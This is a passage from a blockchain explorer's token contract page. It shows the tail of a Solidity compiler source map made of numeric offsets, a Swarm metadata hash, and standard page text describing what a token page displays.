::-;19630:4;19635:1;19630:7;;;;;;;;:148;;;;19805:15;:23;19821:6;19805:23;;;;;;;;;;;;;;;;;;;;;;;;;19804:24;:56;;;;19834:15;:26;19850:9;19834:26;;;;;;;;;;;;;;;;;;;;;;;;;19833:27;19804:56;19802:112;;;;19865:12;:23;19878:9;19865:23;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;19892:12;:20;19905:6;19892:20;;;;;;;;;;;;;;;;;;;;;;;;;19865:47;19802:112;19798:234;;;19933:4;19916:15;;:21;;;;;;;;;;;19798:234;;;19964:5;19948:14;;:21;19944:86;;19971:14;:12;:14::i;:::-;19944:86;;;20024:4;20007:15;;:21;;;;;;;;;;19992:14;:36;;;;19944:86;19798:234;20046:41;20061:6;20069:9;20080:6;20046:14;:41::i;:::-;;20110:4;20103:11;;;;18114:2019;;;;;;:::o;1441:181::-;1527:7;1560:1;1555;:6;;1563:12;1547:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1587:9;1603:1;1599;:5;1587:17;;1613:1;1606:8;;;1441:181;;;;;:::o;1291:148::-;1349:7;1376:55;1380:1;1383;1376:55;;;;;;;;;;;;;;;;;:3;:55::i;:::-;1369:62;;1291:148;;;;:::o;2014:277::-;2100:7;2132:1;2128;:5;2135:12;2120:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2159:9;2175:1;2171;:5;;;;;;2159:17;;2282:1;2275:8;;;2014:277;;;;;:::o;20529:693::-;20622:4;20659:57;20681:6;20659:57;;;;;;;;;;;;;;;;;:9;:17;20669:6;20659:17;;;;;;;;;;;;;;;;:21;;:57;;;;;:::i;:::-;20639:9;:17;20649:6;20639:17;;;;;;;;;;;;;;;:77;;;;20751:4;20735:15;:20;;;20727:4;20732:1;20727:7;;;;;;;;:28;;;;20770:16;;;;;;;;;;;20767:50;;;20797:1;20789:4;20794:1;20789:7;;;;;;;;:9;;;;20808:6;20800:4;20805:1;20800:7;;;;;;;;:14;;;;20767:50;20827:22;20852:99;20868:4;20873:1;20868:7;;;;;;;;;20865:2;:10;20876:74;20852:12;:99::i;:::-;20827:124;;20985:40;21010:14;20985:9;:20;20995:9;20985:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;20962:9;:20;20972:9;20962:20;;;;;;;;;;;;;;;:63;;;;21064:38;21094:4;21099:1;21094:7;;;;;;;;;21064:9;:24;21082:4;21064:24;;;;;;;;;;;;;;;;:28;;:38;;;;:::i;:::-;21037:9;:24;21055:4;21037:24;;;;;;;;;;;;;;;:65;;;;21139:4;21123:15;:20;;;21115:4;21120:1;21115:7;;;;;;;;:28;;;;21176:9;21159:35;;21168:6;21159:35;;;21187:6;21159:35;;;;;;;;;;;;;;;;;;21212:4;21205:11;;;20529:693;;;;;:::o;21228:322::-;14044:4;14025:16;;:23;;;;;;;;;;;;;;;;;;21300:25:::1;21317:7;21300:16;:25::i;:::-;21336:23;21363:21;21336:48;;21416:1;21398:15;:19;21395:104;;;21442:18;;;;;;;;;;;21434:36;;:53;21471:15;21434:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;21395:104;21539:3;21523:15;:19;;;21515:4;21520:1;21515:7;;;;;;;;:27;;;;14059:1;14090:5:::0;14071:16;;:24;;;;;;;;;;;;;;;;;;21228:322;:::o;20133:246::-;20221:1;20205:15;;20202:2;20186:15;;20181:4;:20;:23;:39;:41;20166:14;:56;;;;20233:28;20224:4;20229:1;20224:7;;;;;;;;;:37;;;;;;;;;;;20280:15;;20265:14;:30;;;;20331:4;20315:15;:20;;;20307:4;20312:1;20307:7;;;;;;;;:28;;;;20362:15;;20347:14;:30;;;;20133:246::o;21556:716::-;21682:21;21720:1;21706:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21682:40;;21743:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21733:4;21738:1;21733:7;;;;;;;;;;;;;:32;;;;;;;;;;;21794:4;21776;21781:1;21776:7;;;;;;;;;;;;;:23;;;;;;;;;;;21810:62;21827:4;21842:15;;;;;;;;;;;21860:11;21810:8;:62::i;:::-;21900:15;;;;;;;;;;;:66;;;21981:11;22007:1;22051:4;22078;22114:15;21900:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22167:15;;22152:14;:30;;;;22221:5;22205:15;:21;;;22197:4;22202:1;22197:7;;;;;;;;:29;;;;22253:15;;22238:14;:30;;;;21556:716;;:::o
Swarm Source
ipfs://310ffd8dabf149524881c68948fad21157a0b4e17526833edc38e16ce70e25c8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.